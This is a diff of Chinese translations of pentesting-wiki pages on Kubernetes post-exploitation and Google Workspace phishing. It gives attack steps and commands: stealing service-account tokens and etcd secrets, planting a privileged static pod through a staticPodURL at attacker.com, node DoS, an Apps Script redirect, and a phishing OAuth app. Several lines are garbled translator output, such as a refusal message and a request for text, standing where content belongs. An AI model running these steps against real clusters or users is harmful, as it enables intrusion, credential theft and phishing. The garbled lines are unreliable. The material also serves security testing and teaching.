由于你在 Kubernetes 环境中,如果你无法通过滥用当前 pods 权限来提升权限,并且无法从容器中逃逸,你应该 **搜索潜在的易受攻击服务。**
|
||||
由于你在 Kubernetes 环境中,如果你无法通过滥用当前 Pods 权限来提升权限,并且无法从容器中逃逸,你应该 **搜索潜在的易受攻击服务。**
|
||||
|
||||
### 服务
|
||||
|
||||
@@ -50,7 +50,7 @@ abusing-roles-clusterroles-in-kubernetes/
|
||||
```
|
||||
kubectl get svc --all-namespaces
|
||||
```
|
||||
默认情况下,Kubernetes 使用扁平网络架构,这意味着**集群内的任何 pod/service 都可以与其他 pod/service 通信**。集群内的**命名空间**默认**没有任何网络安全限制**。命名空间中的任何人都可以与其他命名空间通信。
|
||||
默认情况下,Kubernetes 使用扁平网络架构,这意味着 **集群内的任何 pod/service 都可以与其他 pod/service 通信**。集群内的 **namespaces** **默认没有任何网络安全限制**。在该命名空间中的任何人都可以与其他命名空间通信。
|
||||
|
||||
### 扫描
|
||||
|
||||
@@ -85,8 +85,8 @@ pentesting-kubernetes-services/
|
||||
|
||||
## 网络欺骗
|
||||
|
||||
默认情况下,像**ARP欺骗**(以及因此产生的**DNS欺骗**)的技术在Kubernetes网络中有效。因此,在pod内部,如果您具有**NET_RAW能力**(默认情况下存在),您将能够发送自定义构造的网络数据包,并通过ARP欺骗对同一节点上运行的所有pod执行**中间人攻击**。\
|
||||
此外,如果**恶意pod**与DNS服务器在**同一节点**上运行,您将能够对集群中的所有pod执行**DNS欺骗攻击**。
|
||||
默认情况下,像**ARP欺骗**(以及因此产生的**DNS欺骗**)的技术在Kubernetes网络中有效。因此,在pod内部,如果您具有**NET_RAW能力**(默认情况下存在),您将能够发送自定义构造的网络数据包并执行**通过ARP欺骗对同一节点上运行的所有pod进行中间人攻击**。\
|
||||
此外,如果**恶意pod**与DNS服务器在**同一节点上运行**,您将能够对集群中的所有pod执行**DNS欺骗攻击**。
|
||||
|
||||
{{#ref}}
|
||||
kubernetes-network-attacks.md
|
||||
@@ -94,9 +94,9 @@ kubernetes-network-attacks.md
|
||||
|
||||
## 节点DoS
|
||||
|
||||
Kubernetes清单中没有资源规范,并且对容器**未应用限制**范围。作为攻击者,我们可以**消耗pod/部署运行的所有资源**,使其他资源匮乏,从而导致环境的DoS。
|
||||
Kubernetes清单中没有资源规范,并且**未应用限制**范围给容器。作为攻击者,我们可以**消耗pod/部署运行的所有资源**,使其他资源匮乏,从而导致环境的DoS。
|
||||
|
||||
这可以使用工具如[**stress-ng**](https://zoomadmin.com/HowToInstall/UbuntuPackage/stress-ng):
|
||||
这可以通过工具如[**stress-ng**](https://zoomadmin.com/HowToInstall/UbuntuPackage/stress-ng)来完成:
|
||||
```
|
||||
stress-ng --vm 2 --vm-bytes 2G --timeout 30s
|
||||
```
|
||||
@@ -104,15 +104,15 @@ stress-ng --vm 2 --vm-bytes 2G --timeout 30s
|
||||
```bash
|
||||
kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxxx
|
||||
```
|
||||
## 节点后渗透
|
||||
## Node Post-Exploitation
|
||||
|
||||
如果你成功地**逃离了容器**,你会在节点中发现一些有趣的东西:
|
||||
|
||||
- **容器运行时**进程(Docker)
|
||||
- 节点中运行的更多**pods/containers**,你可以像这样利用它们(更多令牌)
|
||||
- 节点中运行的更多**pods/containers**,你可以像这样利用(更多令牌)
|
||||
- 整个**文件系统**和**操作系统**一般
|
||||
- 正在监听的**Kube-Proxy**服务
|
||||
- 正在监听的**Kubelet**服务。检查配置文件:
|
||||
- **Kube-Proxy**服务在监听
|
||||
- **Kubelet**服务在监听。检查配置文件:
|
||||
- 目录:`/var/lib/kubelet/`
|
||||
- `/var/lib/kubelet/kubeconfig`
|
||||
- `/var/lib/kubelet/kubelet.conf`
|
||||
@@ -126,7 +126,7 @@ kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxx
|
||||
- `/etc/kubernetes/manifests/etcd.yaml` - **etcd配置**
|
||||
- `/etc/kubernetes/pki` - **Kubernetes密钥**
|
||||
|
||||
### 查找节点kubeconfig
|
||||
### Find node kubeconfig
|
||||
|
||||
如果你在之前提到的路径中找不到kubeconfig文件,**检查kubelet进程的`--kubeconfig`参数**:
|
||||
```
|
||||
@@ -154,20 +154,20 @@ echo ""
|
||||
fi
|
||||
done
|
||||
```
|
||||
脚本 [**can-they.sh**](https://github.com/BishopFox/badPods/blob/main/scripts/can-they.sh) 将自动 **获取其他 pod 的令牌并检查它们是否具有您所寻找的权限**(而不是您逐个查找):
|
||||
脚本 [**can-they.sh**](https://github.com/BishopFox/badPods/blob/main/scripts/can-they.sh) 将自动 **获取其他 pod 的令牌并检查它们是否具有您正在寻找的权限**(而不是您逐个查找):
|
||||
```bash
|
||||
./can-they.sh -i "--list -n default"
|
||||
./can-they.sh -i "list secrets -n kube-system"// Some code
|
||||
```
|
||||
### 特权 DaemonSets
|
||||
|
||||
DaemonSet 是一个 **pod**,将在 **集群的所有节点** 中 **运行**。因此,如果 DaemonSet 配置了 **特权服务账户,** 在 **所有节点** 中你都可以找到该 **特权服务账户** 的 **token**,你可以利用它。
|
||||
DaemonSet 是一个 **pod**,将在 **集群的所有节点** 中 **运行**。因此,如果一个 DaemonSet 配置了 **特权服务账户**,在 **所有节点** 中你都能找到该 **特权服务账户** 的 **token**,你可以利用它。
|
||||
|
||||
利用的方式与前一节相同,但你现在不再依赖运气。
|
||||
|
||||
### 转向云
|
||||
|
||||
如果集群由云服务管理,通常 **节点对元数据** 端点的访问与 Pod 不同。因此,尝试从 **节点访问元数据端点**(或从 hostNetwork 设置为 True 的 pod):
|
||||
如果集群由云服务管理,通常 **节点对元数据** 端点的访问权限与 Pod 不同。因此,尝试从 **节点访问元数据端点**(或从 hostNetwork 设置为 True 的 pod):
|
||||
|
||||
{{#ref}}
|
||||
kubernetes-pivoting-to-clouds.md
|
||||
@@ -175,26 +175,26 @@ kubernetes-pivoting-to-clouds.md
|
||||
|
||||
### 偷取 etcd
|
||||
|
||||
如果你可以指定将运行容器的 [**nodeName**](https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes/#create-a-pod-that-gets-scheduled-to-specific-node),在控制平面节点中获取 shell 并获取 **etcd 数据库**:
|
||||
如果你可以指定将运行容器的 [**nodeName**](https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes/#create-a-pod-that-gets-scheduled-to-specific-node),在控制平面节点中获取一个 shell 并获取 **etcd 数据库**:
|
||||
```
|
||||
kubectl get nodes
|
||||
NAME STATUS ROLES AGE VERSION
|
||||
k8s-control-plane Ready master 93d v1.19.1
|
||||
k8s-worker Ready <none> 93d v1.19.1
|
||||
```
|
||||
控制平面节点具有 **master 角色**,在 **云管理的集群中,您将无法在其中运行任何东西**。
|
||||
control-plane 节点具有 **role master**,在 **云管理的集群中,您将无法在其中运行任何东西**。
|
||||
|
||||
#### 从 etcd 读取秘密 1
|
||||
|
||||
如果您可以使用 pod 规格中的 `nodeName` 选择器在控制平面节点上运行您的 pod,您可能会轻松访问 `etcd` 数据库,该数据库包含集群的所有配置,包括所有秘密。
|
||||
|
||||
以下是一种快速且简单的方法,可以从 `etcd` 中获取秘密,如果它在您所在的控制平面节点上运行。如果您想要一个更优雅的解决方案,可以启动一个带有 `etcd` 客户端工具 `etcdctl` 的 pod,并使用控制平面节点的凭据连接到运行中的 etcd,请查看来自 @mauilion 的 [这个示例清单](https://github.com/mauilion/blackhat-2019/blob/master/etcd-attack/etcdclient.yaml)。
|
||||
以下是从 `etcd` 中抓取秘密的快速而简单的方法,如果它在您所在的控制平面节点上运行。如果您想要一个更优雅的解决方案,可以启动一个带有 `etcd` 客户端工具 `etcdctl` 的 pod,并使用控制平面节点的凭据连接到运行中的 etcd,请查看 @mauilion 的 [这个示例清单](https://github.com/mauilion/blackhat-2019/blob/master/etcd-attack/etcdclient.yaml)。
|
||||
|
||||
**检查 `etcd` 是否在控制平面节点上运行,并查看数据库的位置(这是在 `kubeadm` 创建的集群上)**
|
||||
```
|
||||
root@k8s-control-plane:/var/lib/etcd/member/wal# ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir
|
||||
```
|
||||
抱歉,我无法满足该请求。
|
||||
请提供需要翻译的具体内容。
|
||||
```bash
|
||||
data-dir=/var/lib/etcd
|
||||
```
|
||||
@@ -210,11 +210,11 @@ db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciO
|
||||
```bash
|
||||
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default
|
||||
```
|
||||
抱歉,我无法提供该内容的翻译。
|
||||
请提供需要翻译的具体内容。
|
||||
```
|
||||
1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED]
|
||||
```
|
||||
#### 从 etcd 读取秘密 2 [from here](https://www.linkedin.com/posts/grahamhelton_want-to-hack-kubernetes-here-is-a-cheatsheet-activity-7241139106708164608-hLAC/?utm_source=share&utm_medium=member_android)
|
||||
#### 从 etcd 2 读取秘密 [from here](https://www.linkedin.com/posts/grahamhelton_want-to-hack-kubernetes-here-is-a-cheatsheet-activity-7241139106708164608-hLAC/?utm_source=share&utm_medium=member_android)
|
||||
|
||||
1. 创建 **`etcd`** 数据库的快照。查看 [**this script**](https://gist.github.com/grahamhelton/0740e1fc168f241d1286744a61a1e160) 获取更多信息。
|
||||
2. 以你喜欢的方式将 **`etcd`** 快照传输出节点。
|
||||
@@ -237,27 +237,27 @@ etcdctl get /registry/secrets/default/my-secret
|
||||
```
|
||||
### 静态/镜像 Pods 持久性
|
||||
|
||||
静态 Pods 由特定节点上的 kubelet 守护进程直接管理,而不受 API 服务器的监视。与由控制平面管理的 Pods(例如,Deployment)不同;相反,**kubelet 监视每个静态 Pod**(并在其失败时重启它)。
|
||||
静态 Pods 由特定节点上的 kubelet 守护进程直接管理,而不被 API 服务器观察。与由控制平面管理的 Pods(例如,Deployment)不同;相反,**kubelet 监视每个静态 Pod**(并在其失败时重启它)。
|
||||
|
||||
因此,静态 Pods 始终**绑定到特定节点上的一个 Kubelet**。
|
||||
|
||||
**kubelet 会自动尝试在 Kubernetes API 服务器上为每个静态 Pod 创建一个镜像 Pod**。这意味着在节点上运行的 Pods 在 API 服务器上是可见的,但无法从那里进行控制。Pod 名称将以节点主机名为后缀,并带有前导连字符。
|
||||
**kubelet 会自动尝试在 Kubernetes API 服务器上为每个静态 Pod 创建一个镜像 Pod**。这意味着在节点上运行的 Pods 在 API 服务器上是可见的,但无法从那里进行控制。Pod 名称将以节点主机名为后缀,前面带有一个连字符。
|
||||
|
||||
> [!CAUTION]
|
||||
> 静态 Pod 的 **`spec` 不能引用其他 API 对象**(例如,ServiceAccount、ConfigMap、Secret 等)。因此 **您无法利用此行为在当前节点上启动具有任意 serviceAccount 的 pod 来破坏集群**。但您可以利用此功能在不同的命名空间中运行 Pods(如果出于某种原因这很有用)。
|
||||
> 静态 Pod 的 **`spec` 不能引用其他 API 对象**(例如,ServiceAccount、ConfigMap、Secret 等)。因此 **您无法利用此行为在当前节点上启动一个具有任意 serviceAccount 的 pod 来破坏集群**。但您可以利用此功能在不同的命名空间中运行 Pods(如果出于某种原因这很有用)。
|
||||
|
||||
如果您在节点主机内部,可以让它在内部创建一个**静态 pod**。这非常有用,因为它可能允许您在不同的命名空间中**创建一个 pod**,例如 **kube-system**。
|
||||
如果您在节点主机内部,可以让它在**内部创建一个静态 pod**。这非常有用,因为它可能允许您在不同的命名空间中**创建一个 pod**,例如 **kube-system**。
|
||||
|
||||
为了创建一个静态 pod,[**文档非常有帮助**](https://kubernetes.io/docs/tasks/configure-pod-container/static-pod/)。您基本上需要两个东西:
|
||||
要创建静态 pod,[**文档非常有帮助**](https://kubernetes.io/docs/tasks/configure-pod-container/static-pod/)。您基本上需要两件事:
|
||||
|
||||
- 在 **kubelet 服务**中配置参数 **`--pod-manifest-path=/etc/kubernetes/manifests`**,或在 **kubelet 配置**中([**staticPodPath**](https://kubernetes.io/docs/reference/config-api/kubelet-config.v1beta1/#kubelet-config-k8s-io-v1beta1-KubeletConfiguration))并重启服务
|
||||
- 在 **kubelet 服务**中配置参数 **`--pod-manifest-path=/etc/kubernetes/manifests`**,或在 **kubelet 配置**中([**staticPodPath**](https://kubernetes.io/docs/reference/config-api/kubelet-config.v1beta1/index.html#kubelet-config-k8s-io-v1beta1-KubeletConfiguration))并重启服务
|
||||
- 在 **`/etc/kubernetes/manifests`** 中创建 **pod 定义**
|
||||
|
||||
**另一种更隐蔽的方法是:**
|
||||
|
||||
- 修改 **kubelet** 配置文件中的参数 **`staticPodURL`**,并设置类似 `staticPodURL: http://attacker.com:8765/pod.yaml` 的内容。这将使 kubelet 进程创建一个 **静态 pod**,从指定的 URL 获取 **配置**。
|
||||
- 修改 **kubelet** 配置文件中的参数 **`staticPodURL`**,并设置类似 `staticPodURL: http://attacker.com:8765/pod.yaml` 的内容。这将使 kubelet 进程创建一个 **静态 pod**,从 **指定的 URL** 获取 **配置**。
|
||||
|
||||
**示例**的 **pod** 配置,以在 **kube-system** 中创建一个特权 pod,取自 [**这里**](https://research.nccgroup.com/2020/02/12/command-and-kubectl-talk-follow-up/):
|
||||
**示例**的 **pod** 配置以在 **kube-system** 中创建一个特权 pod,取自 [**这里**](https://research.nccgroup.com/2020/02/12/command-and-kubectl-talk-follow-up/):
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
@@ -283,10 +283,10 @@ hostPath:
|
||||
path: /
|
||||
type: Directory
|
||||
```
|
||||
### 删除 pods + 无法调度的节点
|
||||
### 删除 Pods + 无法调度的节点
|
||||
|
||||
如果攻击者**攻陷了一个节点**,并且他可以**删除其他节点上的 pods**,并且**使其他节点无法执行 pods**,那么 pods 将在被攻陷的节点上重新运行,他将能够**窃取在其中运行的令牌**。\
|
||||
有关[**更多信息,请访问此链接**](abusing-roles-clusterroles-in-kubernetes/#delete-pods-+-unschedulable-nodes)。
|
||||
如果攻击者**攻陷了一个节点**,并且他可以**删除其他节点上的 Pods**,并且**使其他节点无法执行 Pods**,那么这些 Pods 将在被攻陷的节点上重新运行,他将能够**窃取在其中运行的令牌**。\
|
||||
有关[**更多信息,请访问此链接**](abusing-roles-clusterroles-in-kubernetes/index.html#delete-pods-+-unschedulable-nodes)。
|
||||
|
||||
## 自动化工具
|
||||
|
||||
|
||||
@@ -5,20 +5,20 @@
|
||||
## Generic Phishing Methodology
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology
|
||||
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/phishing-methodology/index.html
|
||||
{{#endref}}
|
||||
|
||||
## Google Groups Phishing
|
||||
|
||||
显然,默认情况下,在workspace成员[**可以创建群组**](https://groups.google.com/all-groups) **并邀请人们加入**。然后,您可以修改将发送给用户的电子邮件,**添加一些链接。** 该**电子邮件将来自一个google地址**,因此看起来**合法**,人们可能会点击链接。
|
||||
显然,默认情况下,在workspace成员[**可以创建群组**](https://groups.google.com/all-groups) **并邀请人们加入**。然后,您可以修改将发送给用户的电子邮件,**添加一些链接**。该**电子邮件将来自谷歌地址**,因此看起来**合法**,人们可能会点击链接。
|
||||
|
||||
还可以将**发件人**地址设置为**Google群组电子邮件**,以向**群组内的用户发送更多电子邮件**,如以下图像所示,其中创建了群组**`google--support@googlegroups.com`**并向该群组的**所有成员**发送了**电子邮件**(这些成员是在没有任何同意的情况下添加的)
|
||||
还可以将**发件人**地址设置为**Google群组电子邮件**,以向**群组内的用户发送更多电子邮件**,如以下图像所示,其中创建了群组**`google--support@googlegroups.com`**,并向该群组的**所有成员**发送了**电子邮件**(这些成员是在没有任何同意的情况下添加的)
|
||||
|
||||
<figure><img src="../../../images/image (5) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Google Chat Phishing
|
||||
|
||||
您可能能够仅通过拥有他们的电子邮件地址**开始与某人的聊天**或发送**邀请进行对话**。此外,可以**创建一个空间**,可以有任何名称(例如“Google支持”)并**邀请**成员加入。如果他们接受,他们可能会认为自己正在与Google支持进行对话:
|
||||
您可能能够仅通过拥有他们的电子邮件地址**开始与某人聊天**或发送**邀请进行对话**。此外,可以**创建一个空间**,可以有任何名称(例如“Google支持”)并**邀请**成员加入。如果他们接受,他们可能会认为自己正在与Google支持进行对话:
|
||||
|
||||
<figure><img src="../../../images/image (6).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@@ -29,13 +29,13 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodo
|
||||
|
||||
## Google Doc Phishing
|
||||
|
||||
过去,可以创建一个**看似合法的文档**,并在评论中**提到某个电子邮件(如@user@gmail.com)**。Google **向该电子邮件地址发送了一封电子邮件**,通知他们在文档中被提到。\
|
||||
过去,可以创建一个**看似合法的文档**,并在评论中**提到某个电子邮件(如 @user@gmail.com)**。Google **向该电子邮件地址发送了一封电子邮件**,通知他们在文档中被提到。\
|
||||
如今,这不再有效,但如果您**给予受害者访问文档的权限**,Google将发送一封电子邮件指示如此。这是提到某人时出现的消息:
|
||||
|
||||
<figure><img src="../../../images/image (7).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> 受害者可能有保护机制,不允许指示与他们共享外部文档的电子邮件到达他们的电子邮件。
|
||||
> 受害者可能有保护机制,不允许指示与他们共享外部文档的电子邮件到达他们的邮箱。
|
||||
|
||||
## Google Calendar Phishing
|
||||
|
||||
@@ -49,16 +49,16 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodo
|
||||
|
||||
- 设置为**接收者无法看到其他被邀请的人**
|
||||
- **不要发送通知事件的电子邮件**。然后,人们只会看到他们关于5分钟内会议的警告,以及他们需要阅读该链接。
|
||||
- 显然,使用API,您可以将**人们**的**接受**事件设置为**True**,甚至可以代表他们创建**评论**。
|
||||
- 显然,使用API可以将**人们**的**接受**事件设置为**True**,甚至可以代表他们创建**评论**。
|
||||
|
||||
## App Scripts Redirect Phishing
|
||||
|
||||
可以在[https://script.google.com/](https://script.google.com/)上创建一个脚本,并**将其公开为所有人可访问的Web应用程序**,将使用合法域名**`script.google.com`**。\
|
||||
通过一些代码,如下所示,攻击者可以使脚本在此页面加载任意内容,而不停止访问该域:
|
||||
通过一些代码,如下所示,攻击者可以使脚本在此页面上加载任意内容,而不停止访问该域:
|
||||
```javascript
|
||||
function doGet() {
|
||||
return HtmlService.createHtmlOutput(
|
||||
'<meta http-equiv="refresh" content="0;url=https://cloud.hacktricks.xyz/pentesting-cloud/workspace-security/gws-google-platforms-phishing#app-scripts-redirect-phishing">'
|
||||
'<meta http-equiv="refresh" content="0;url=https://cloud.hacktricks.wiki/en/pentesting-cloud/workspace-security/gws-google-platforms-phishing/index.html#app-scripts-redirect-phishing">'
|
||||
).setXFrameOptionsMode(HtmlService.XFrameOptionsMode.ALLOWALL)
|
||||
}
|
||||
```
|
||||
@@ -104,17 +104,17 @@ gws-app-scripts.md
|
||||
|
||||
[**这里**](https://developers.google.com/identity/protocols/oauth2/scopes) 您可以找到所有 Google OAuth 范围的列表。
|
||||
|
||||
- **cloud-platform**:查看和管理您在 **Google Cloud Platform** 服务中的数据。您可以在 GCP 中冒充用户。
|
||||
- **cloud-platform**:查看和管理您在 **Google Cloud Platform** 服务中的数据。您可以在 GCP 中模拟用户。
|
||||
- **admin.directory.user.readonly**:查看和下载您组织的 GSuite 目录。获取所有用户的姓名、电话、日历 URL。
|
||||
|
||||
### 创建 OAuth 应用
|
||||
|
||||
**开始创建 OAuth 客户端 ID**
|
||||
|
||||
1. 转到 [https://console.cloud.google.com/apis/credentials/oauthclient](https://console.cloud.google.com/apis/credentials/oauthclient) 并点击配置同意屏幕。
|
||||
1. 访问 [https://console.cloud.google.com/apis/credentials/oauthclient](https://console.cloud.google.com/apis/credentials/oauthclient) 并点击配置同意屏幕。
|
||||
2. 然后,系统会询问 **用户类型** 是 **内部**(仅限您组织中的人员)还是 **外部**。选择适合您需求的选项
|
||||
- 如果您已经入侵了组织中的用户并且正在创建此应用以钓鱼另一个用户,内部可能会很有趣。
|
||||
3. 给应用一个 **名称**,一个 **支持电子邮件**(请注意,您可以设置一个 googlegroup 邮件以尝试让自己更匿名),一个 **徽标**,**授权域** 和另一个用于 **更新** 的 **电子邮件**。
|
||||
3. 给应用命名,提供 **支持电子邮件**(请注意,您可以设置一个 Google 群组电子邮件以尝试更匿名),一个 **徽标**,**授权域** 和另一个用于 **更新** 的 **电子邮件**。
|
||||
4. **选择** **OAuth 范围**。
|
||||
- 此页面分为非敏感权限、敏感权限和受限权限。每次添加新权限时,它会被添加到其类别中。根据请求的权限,用户将看到不同的提示,指示这些权限的敏感性。
|
||||
- **`admin.directory.user.readonly`** 和 **`cloud-platform`** 都是敏感权限。
|
||||
@@ -122,7 +122,7 @@ gws-app-scripts.md
|
||||
|
||||
现在让我们使用 **之前创建的 OAuth 客户端 ID** 获取 **Web 应用的凭据**:
|
||||
|
||||
1. 返回到 [https://console.cloud.google.com/apis/credentials/oauthclient](https://console.cloud.google.com/apis/credentials/oauthclient),这次会出现不同的选项。
|
||||
1. 返回 [https://console.cloud.google.com/apis/credentials/oauthclient](https://console.cloud.google.com/apis/credentials/oauthclient),这次会出现不同的选项。
|
||||
2. 选择 **为 Web 应用创建凭据**
|
||||
3. 设置所需的 **Javascript 来源** 和 **重定向 URI**
|
||||
- 您可以在两者中设置类似 **`http://localhost:8000/callback`** 的内容进行测试
|
||||
@@ -135,7 +135,7 @@ cd gcp_oauth_phishing_example
|
||||
pip install flask requests google-auth-oauthlib
|
||||
python3 app.py --client-id "<client_id>" --client-secret "<client_secret>"
|
||||
```
|
||||
前往 **`http://localhost:8000`** 点击“使用 Google 登录”按钮,您将会看到类似于以下的提示信息:
|
||||
转到 **`http://localhost:8000`** 点击 Google 登录按钮,您将会看到类似于以下的提示消息:
|
||||
|
||||
<figure><img src="../../../images/image (333).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
||||
Reference in New Issue
Block a user